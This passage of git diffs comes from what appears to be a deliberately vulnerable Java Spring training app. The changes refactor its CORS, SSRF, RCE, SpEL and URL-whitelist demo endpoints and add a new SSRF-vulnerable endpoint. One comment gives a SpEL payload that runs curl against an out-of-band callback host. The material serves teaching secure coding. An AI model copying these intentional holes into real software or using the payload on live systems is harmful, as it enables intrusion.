vuls1(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("origin"); response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的 response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie return info; } - @RequestMapping("/vuln/setHeader") - public static String vuls2(HttpServletResponse response) { + @GetMapping("/vuln/setHeader") + public String vuls2(HttpServletResponse response) { // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 response.setHeader("Access-Control-Allow-Origin", "*"); return info; } - @CrossOrigin("*") + @GetMapping("*") @RequestMapping("/vuln/crossOrigin") - public static String vuls3() { + public String vuls3() { return info; } @@ -50,8 +51,8 @@ public static String vuls3() { * 代码:org/joychou/security/CustomCorsProcessor */ @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) - @RequestMapping("/sec/crossOrigin") - public static String secCrossOrigin() { + @GetMapping("/sec/crossOrigin") + public String secCrossOrigin() { return info; } @@ -61,7 +62,7 @@ public static String secCrossOrigin() { * 支持自定义checkOrigin * 代码:org/joychou/config/CorsConfig.java */ - @RequestMapping("/sec/webMvcConfigurer") + @GetMapping("/sec/webMvcConfigurer") public CsrfToken getCsrfToken_01(CsrfToken token) { return token; } @@ -72,7 +73,7 @@ public CsrfToken getCsrfToken_01(CsrfToken token) { * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行 * 代码:org/joychou/security/WebSecurityConfig.java */ - @RequestMapping("/sec/httpCors") + @GetMapping("/sec/httpCors") public CsrfToken getCsrfToken_02(CsrfToken token) { return token; } @@ -83,7 +84,7 @@ public CsrfToken getCsrfToken_02(CsrfToken token) { * 支持自定义checkOrigin * 代码:org/joychou/filter/OriginFilter.java */ - @RequestMapping("/sec/originFilter") + @GetMapping("/sec/originFilter") public CsrfToken getCsrfToken_03(CsrfToken token) { return token; } @@ -100,7 +101,7 @@ public CsrfToken getCsrfToken_04(CsrfToken token) { } - @RequestMapping("/sec/checkOrigin") + @GetMapping("/sec/checkOrigin") public String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 6063b507..37c4ec18 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -16,7 +16,7 @@ public class Fastjson { @RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) @ResponseBody - public static String Deserialize(@RequestBody String params) { + public String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 try { // 将post提交的string转换为json diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java index 87405b62..e500b980 100644 --- a/src/main/java/org/joychou/controller/GetRequestURI.java +++ b/src/main/java/org/joychou/controller/GetRequestURI.java @@ -5,6 +5,7 @@ import org.slf4j.LoggerFactory; import org.springframework.util.AntPathMatcher; import org.springframework.util.PathMatcher; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -30,7 +31,7 @@ public class GetRequestURI { private final Logger logger = LoggerFactory.getLogger(this.getClass()); - @RequestMapping(value = "/exclued/vuln") + @GetMapping(value = "/exclued/vuln") public String exclued(HttpServletRequest request) { String[] excluedPath = {"/css/**", "/js/**"}; diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 1bb1face..d87b2a7b 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,7 +1,7 @@ package org.joychou.controller; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import java.io.BufferedInputStream; @@ -17,8 +17,7 @@ @RequestMapping("/rce") public class Rce { - @RequestMapping("/exec") - @ResponseBody + @GetMapping("/exec") public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 12384717..a98c9952 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -6,10 +6,7 @@ import org.joychou.util.WebUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestParam; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletResponse; import java.io.*; @@ -29,17 +26,21 @@ public class SSRF { private static Logger logger = LoggerFactory.getLogger(SSRF.class); - @RequestMapping("/urlConnection/vuln") - public static String URLConnectionVuln(String url) { + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) + public String URLConnectionVuln(String url) { return HttpUtils.URLConnection(url); } - @RequestMapping("/urlConnection/sec") - public static String URLConnectionSec(String url) { + @GetMapping("/urlConnection/sec") + public String URLConnectionSec(String url) { // Decline not http/https protocol - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!SecurityUtil.isHttp(url)) { return "[-] SSRF check failed"; } @@ -55,9 +56,12 @@ public static String URLConnectionSec(String url) { } - @RequestMapping("/HttpURLConnection/sec") - @ResponseBody - public static String httpURLConnection(@RequestParam String url) { + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/HttpURLConnection/sec") + public String httpURLConnection(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); return HttpUtils.HTTPURLConnection(url); @@ -69,10 +73,14 @@ public static String httpURLConnection(@RequestParam String url) { } - // http://localhost:8080/ssrf/request/sec?url=http://www.baidu.com - @RequestMapping("/request/sec") - @ResponseBody - public static String request(@RequestParam String url) { + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). + * + * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org + */ + @GetMapping("/request/sec") + public String request(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); return HttpUtils.request(url); @@ -92,9 +100,8 @@ public static String request(@RequestParam String url) { * new URL(String url).openStream() * new URL(String url).getContent() */ - @RequestMapping("/openStream") - @ResponseBody - public static void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { + @GetMapping("/openStream") + public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { InputStream inputStream = null; OutputStream outputStream = null; try { @@ -124,9 +131,12 @@ public static void openStream(@RequestParam String url, HttpServletResponse resp } - @RequestMapping("/ImageIO/sec") - @ResponseBody - public static String ImageIO(@RequestParam String url) { + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/ImageIO/sec") + public String ImageIO(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); HttpUtils.imageIO(url); @@ -140,9 +150,12 @@ public static String ImageIO(@RequestParam String url) { } - @RequestMapping("/okhttp/sec") - @ResponseBody - public static String okhttp(@RequestParam String url) { + /** + * The default setting of followRedirects is true. + * UserAgent is okhttp/2.5.0. + */ + @GetMapping("/okhttp/sec") + public String okhttp(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); @@ -158,11 +171,13 @@ public static String okhttp(@RequestParam String url) { /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). + * * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com */ - @RequestMapping("/httpclient/sec") - @ResponseBody - public static String HttpClient(@RequestParam String url) { + @GetMapping("/httpclient/sec") + public String HttpClient(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); @@ -177,11 +192,13 @@ public static String HttpClient(@RequestParam String url) { /** + * The default setting of followRedirects is true. + * UserAgent is Jakarta Commons-HttpClient/3.1. + * * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ - @RequestMapping("/commonsHttpClient/sec") - @ResponseBody - public static String commonsHttpClient(@RequestParam String url) { + @GetMapping("/commonsHttpClient/sec") + public String commonsHttpClient(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); @@ -195,11 +212,13 @@ public static String commonsHttpClient(@RequestParam String url) { } /** + * The default setting of followRedirects is true. + * UserAgent is the useragent of browser. + * * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com */ - @RequestMapping("/Jsoup/sec") - @ResponseBody - public static String Jsoup(@RequestParam String url) { + @GetMapping("/Jsoup/sec") + public String Jsoup(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); @@ -214,11 +233,13 @@ public static String Jsoup(@RequestParam String url) { /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + * * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com */ - @RequestMapping("/IOUtils/sec") - public static String IOUtils(String url) { - + @GetMapping("/IOUtils/sec") + public String IOUtils(String url) { try { SecurityUtil.startSSRFHook(); HttpUtils.IOUtils(url); @@ -232,4 +253,14 @@ public static String IOUtils(String url) { } + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102). + */ + @GetMapping("/HttpSyncClients/vuln") + public String HttpSyncClients(@RequestParam("url") String url) { + return HttpUtils.HttpAsyncClients(url); + } + + } diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 6d06ffc7..82163ab2 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -2,6 +2,7 @@ import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -20,7 +21,7 @@ public class SpEL { * xxx is urlencode(exp) * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") */ - @RequestMapping("/spel/vuln") + @GetMapping("/spel/vuln") public String rce(String expression) { ExpressionParser parser = new SpelExpressionParser(); // fix method: SimpleEvaluationContext diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java index 8bc0d38b..3b75c7d0 100644 --- a/src/main/java/org/joychou/controller/Test.java +++ b/src/main/java/org/joychou/controller/Test.java @@ -3,16 +3,16 @@ import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; -@Controller +@RestController @RequestMapping("/test") public class Test { @RequestMapping(value = "/") - @ResponseBody public String Index(HttpServletResponse response, String empId) { System.out.println(empId); @@ -23,4 +23,14 @@ public String Index(HttpServletResponse response, String empId) { return "success"; } + + @RequestMapping(value = "/aa") + public void test(HttpServletResponse response, String empId) { + + System.out.println(empId); + Cookie cookie = new Cookie("XSRF-TOKEN", "123"); + cookie.setDomain("taobao.com"); + cookie.setMaxAge(-1); // forever time + response.addCookie(cookie); + } } diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index c4b04dc5..b4d3c2f0 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -1,12 +1,11 @@ package org.joychou.controller; +import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; -import java.net.URI; -import java.net.URL; import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -32,9 +31,9 @@ public class URLWhiteList { * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org */ @GetMapping("/vuln/endsWith") - public String endsWith(@RequestParam("url") String url) throws Exception { - URL u = new URL(url); - String host = u.getHost().toLowerCase(); + public String endsWith(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); for (String domain : domainwhitelist) { if (host.endsWith(domain)) { @@ -52,9 +51,9 @@ public String endsWith(@RequestParam("url") String url) throws Exception { * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org */ @GetMapping("/vuln/contains") - public String contains(@RequestParam("url") String url) throws Exception { - URL u = new URL(url); - String host = u.getHost().toLowerCase(); + public String contains(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); for (String domain : domainwhitelist) { if (host.contains(domain)) { @@ -70,12 +69,12 @@ public String contains(@RequestParam("url") String url) throws Exception { * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org */ @GetMapping("/vuln/regex") - public String regex(@RequestParam("url") String url) throws Exception { - URL u = new URL(url); - String host = u.getHost().toLowerCase(); + public String regex(@RequestParam("url") String url) { + String host = SecurityUtil.gethost(url); Pattern p = Pattern.compile("joychou\\.org$"); Matcher m = p.matcher(host); + if (m.find()) { return "Good url."; } else { @@ -93,16 +92,15 @@ public String regex(@RequestParam("url") String url) throws Exception { * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass */ @GetMapping("/vuln/url_bypass") - public String url_bypass(String url) throws Exception { + public String url_bypass(String url) { logger.info("url: " + url); - URL u = new URL(url); - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { + if (!SecurityUtil.isHttp(url)) { return "Url is not http or https"; } - String host = u.getHost().toLowerCase(); + String host = SecurityUtil.gethost(url); logger.info("host: " + host); // endsWith . @@ -121,16 +119,15 @@ public String url_bypass(String url) throws Exception { * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org */ @GetMapping("/sec/endswith") - public String sec_endswith(@RequestParam("url") String url) throws Exception { + public String sec_endswith(@RequestParam("url") String url) { String whiteDomainlists[] = {"joychou.org", "joychou.com"}; - URI uri = new URI(url); // 必须用URI - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!SecurityUtil.isHttp(url)) { return "SecurityUtil is not http or https"; } - String host = uri.getHost().toLowerCase(); + String host = SecurityUtil.gethost(url); // endsWith . for (String domain : whiteDomainlists) { @@ -147,14 +144,14 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception { * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org */ @GetMapping("/sec/multi_level_host") - public String sec_multi_level_host(@RequestParam("url") String url) throws Exception { + public String sec_multi_level_host(@RequestParam("url") String url) { String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"}; - URI uri = new URI(url); - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!SecurityUtil.isHttp(url)) { return "SecurityUtil is not http or https"; } - String host = uri.getHost().toLowerCase(); + + String host = SecurityUtil.gethost(url); // equals for (String domain : whiteDomainlists) { @@ -171,19 +168,19 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org */ @GetMapping("/sec/array_indexOf") - public String sec_array_indexOf(@RequestParam("url") String url) throws Exception { + public String sec_array_indexOf(@RequestParam("url") String url) { // Define muti-level host whitelist. ArrayList whiteDomainlists = new ArrayList<>(); whiteDomainlists.add("bbb.joychou.org"); whiteDomainlists.add("ccc.bbb.joychou.org"); - URI uri = new URI(url); - - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!SecurityUtil.isHttp(url)) { return "SecurityUtil is not http or https"; } - String host = uri.getHost().toLowerCase(); + + String host = SecurityUtil.gethost(url); + if (whiteDomainlists.indexOf(host) != -1) { return "Good url."; } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index f9a4c7fc..931a5688 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -41,7 +41,7 @@ public class XXE { private static Logger logger = LoggerFactory.getLogger(XXE.class); private static String EXCEPT = "xxe except"; - @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST) + @PostMapping("/xmlReader/vuln") public String xmlReaderVuln(HttpServletRequest request) { try { String body = WebUtils.getRequestBody(request); diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 0b383f5d..ee962846 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -9,6 +9,7 @@ import java.io.IOException; import java.io.UnsupportedEncodingException; import java.net.URI; +import java.net.URISyntaxException; import java.net.URLDecoder; import java.util.ArrayList; import java.util.regex.Pattern; @@ -19,6 +20,34 @@ public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + + /** + * Determine if the URL starts with HTTP. + * + * @param url url + * @return true or false + */ + public static boolean isHttp(String url) { + return url.startsWith("http://") || url.startsWith("https://"); + } + + + /** + * Get http url host. + * + * @param url url + * @return host + */ + public static String gethost(String url) { + try { + URI uri = new URI(url); + return uri.getHost().toLowerCase(); + } catch (URISyntaxException e) { + return ""; + } + } + + /** * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。 * 优先判断黑名单,如果满足黑名单return null。 @@ -36,11 +65,10 @@ public static String checkURL(String url) { ArrayList blockDomains = WebConfig.getBlockDomains(); try { - URI uri = new URI(url); - String host = uri.getHost().toLowerCase(); + String host = gethost(url); // 必须http/https - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!isHttp(url)) { return null; } @@ -66,7 +94,7 @@ public static String checkURL(String url) { } } return null; - } catch (Exception e) { + } catch (NullPointerException e) { logger.error(e.toString()); return null; } diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 3860cad9..4ef0f046 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -9,6 +9,7 @@ import org.apache.commons.lang.StringUtils; import org.apache.commons.net.util.SubnetUtils; import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -24,11 +25,10 @@ public static boolean checkURLFckSSRF(String url) { ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains(); try { - URI uri = new URI(url); - String host = uri.getHost().toLowerCase(); + String host = SecurityUtil.gethost(url); // 必须http/https - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!SecurityUtil.isHttp(url)) { return false; } @@ -170,16 +170,13 @@ private static String url2host(String url) { try { // 使用URI,而非URL,防止被绕过。 URI u = new URI(url); - if (!url.startsWith("http://") && !url.startsWith("https://")) { - return ""; + if (SecurityUtil.isHttp(url)) { + return u.getHost(); } - - return u.getHost(); - + return ""; } catch (Exception e) { return ""; } - } } diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java index de244134..799ca0e5 100644 --- a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java +++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java @@ -57,12 +57,7 @@ static void initSocketImpl(Class initSocketImpl) { SocketHookFactory.setHook(false); throw new RuntimeException("InitSocketImpl failed! Hook stopped!"); } - -// try { -// initSocketImpl = Class.forName("java.net.SocketImpl"); -// } catch (ClassNotFoundException e) { -// System.out.println(e.getMessage()); -// } + if (!isInit) { createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class[]{boolean.class}); connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{String.class, int.class}); diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index 37eeb69a..571680a2 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -9,6 +9,9 @@ import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.nio.client.CloseableHttpAsyncClient; +import org.apache.http.impl.nio.client.HttpAsyncClients; +import org.apache.http.util.EntityUtils; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.slf4j.Logger; @@ -22,6 +25,7 @@ import java.net.URI; import java.net.URL; import java.net.URLConnection; +import java.util.concurrent.*; /** * @author JoyChou 2020-04-06 @@ -30,14 +34,6 @@ public class HttpUtils { private static Logger logger = LoggerFactory.getLogger(HttpUtils.class); - - /** - * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient - * UserAgent is Jakarta Commons-HttpClient/3.1. Last publish at 2007.08. - * - * @param url http request url - * @return response - */ public static String commonHttpClient(String url) { HttpClient client = new HttpClient(); @@ -138,13 +134,10 @@ public static String HTTPURLConnection(String url) { */ public static String Jsoup(String url) { try { - String useragent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " + - "Chrome/64.0.3282.167 Safari/537.36"; Document doc = Jsoup.connect(url) - .userAgent(useragent) + //.followRedirects(false) .timeout(3000) .cookie("name", "joychou") // request cookies - //.followRedirects(false) .execute().parse(); return doc.outerHtml(); } catch (IOException e) { @@ -186,4 +179,25 @@ public static void IOUtils(String url) { } + public static String HttpAsyncClients(String url) { + CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault(); + try { + httpclient.start(); + final HttpGet request = new HttpGet(url); + Future future = httpclient.execute(request, null); + HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS); + return EntityUtils.toString(response.getEntity()); + } catch (Exception e) { + return e.getMessage(); + } finally { + try { + httpclient.close(); + } catch (Exception e) { + logger.error(e.getMessage()); + } + } + + } + + } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 8b72592e..c9934946 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -26,7 +26,7 @@ joychou.security.referer.uri = /jsonp/** # csrf token check joychou.security.csrf.enabled = true # URI without CSRF check (only support ANT url format) -joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/** +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/** # method for CSRF check joychou.security.csrf.method = POST ### csrf configuration ends ### @@ -36,4 +36,7 @@ joychou.security.csrf.method = POST # referer check joychou.security.jsonp.referer.check.enabled = true joychou.security.jsonp.callback = callback, _callback -### jsonp configuration ends ### \ No newline at end of file +### jsonp configuration ends ### + + +swagger.enable = true \ No newline at end of file From ab69c0b60c6746476a9c7be3172867000b8fefa2 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 3 Aug 2020 17:17:33 +0800 Subject: [PATCH 19/38] bug fix --- README.md | 1 + pom.xml | 2 +- .../java/org/joychou/config/SafeDomainParser.java | 11 +++++------ src/main/java/org/joychou/controller/SSRF.java | 7 +------ .../java/org/joychou/controller/URLWhiteList.java | 7 +++++-- .../org/joychou/security/CsrfAccessDeniedHandler.java | 7 +++---- .../java/org/joychou/security/ssrf/SSRFChecker.java | 2 +- src/main/java/org/joychou/util/HttpUtils.java | 10 ++++++++-- src/main/resources/templates/index.html | 1 + 9 files changed, 26 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index 2c0a0bc8..56d10960 100644 --- a/README.md +++ b/README.md @@ -40,6 +40,7 @@ Sort by letter. - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) +- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) diff --git a/pom.xml b/pom.xml index 6e5c2455..2b273bad 100644 --- a/pom.xml +++ b/pom.xml @@ -7,7 +7,7 @@ sec java-sec-code 1.0.0 - war + jar 1.8 diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java index 6157f645..b92ff9eb 100644 --- a/src/main/java/org/joychou/config/SafeDomainParser.java +++ b/src/main/java/org/joychou/config/SafeDomainParser.java @@ -29,11 +29,9 @@ public SafeDomainParser() { try { // 读取resources目录下的文件 ClassPathResource resource = new ClassPathResource(safeDomainClassPath); - File file = resource.getFile(); - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - Document doc = db.parse(file); // parse xml + Document doc = db.parse(resource.getInputStream()); // parse xml NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains Node domainsNode = rootNode.item(0); @@ -68,6 +66,7 @@ public SafeDomainParser() { WebConfig wc = new WebConfig(); wc.setSafeDomains(safeDomains); + logger.info(safeDomains.toString()); wc.setBlockDomains(blockDomains); // 解析SSRF配置 @@ -86,11 +85,10 @@ public SafeDomainParser() { try { // 读取resources目录下的文件 ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath); - File file = resource.getFile(); - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - Document doc = db.parse(file); // parse xml + // 修复打包成jar包运行,不能读取文件的bug + Document doc = db.parse(resource.getInputStream()); // parse xml NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点 Node domainsNode = rootNode.item(0); @@ -130,6 +128,7 @@ public SafeDomainParser() { logger.error(e.toString()); } + logger.info(ssrfBlockIps.toString()); wc.setSsrfBlockDomains(ssrfBlockDomains); wc.setSsrfBlockIps(ssrfBlockIps); wc.setSsrfSafeDomains(ssrfSafeDomains); diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index a98c9952..9fdf757f 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -150,23 +150,18 @@ public String ImageIO(@RequestParam String url) { } - /** - * The default setting of followRedirects is true. - * UserAgent is okhttp/2.5.0. - */ @GetMapping("/okhttp/sec") public String okhttp(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); - HttpUtils.okhttp(url); + return HttpUtils.okhttp(url); } catch (SSRFException | IOException e) { return e.getMessage(); } finally { SecurityUtil.stopSSRFHook(); } - return "okhttp ssrf test"; } diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index b4d3c2f0..e6f9b987 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -6,6 +6,8 @@ import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; +import java.net.MalformedURLException; +import java.net.URL; import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -92,7 +94,7 @@ public String regex(@RequestParam("url") String url) { * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass */ @GetMapping("/vuln/url_bypass") - public String url_bypass(String url) { + public String url_bypass(String url) throws MalformedURLException { logger.info("url: " + url); @@ -100,7 +102,8 @@ public String url_bypass(String url) { return "Url is not http or https"; } - String host = SecurityUtil.gethost(url); + URL u = new URL(url); + String host = u.getHost(); logger.info("host: " + host); // endsWith . diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index ba9c3f7f..2e1df795 100644 --- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -7,15 +7,14 @@ import org.springframework.security.access.AccessDeniedException; import org.springframework.security.web.access.AccessDeniedHandler; - -import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; /** - * Design csrf access denied page. + * Csrf access denied page. * + * @author JoyChou */ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { @@ -23,7 +22,7 @@ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { @Override public void handle(HttpServletRequest request, HttpServletResponse response, - AccessDeniedException accessDeniedException) throws IOException, ServletException { + AccessDeniedException accessDeniedException) throws IOException { logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + "Referer: " + request.getHeader("referer")); diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 4ef0f046..01b1b350 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -50,7 +50,7 @@ public static boolean checkURLFckSSRF(String url) { /** * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 * url只允许https或者http,并且设置默认连接超时时间。 - * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续… + * 该修复方案会主动请求重定向后的链接。 * * @param url check的url * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 diff --git 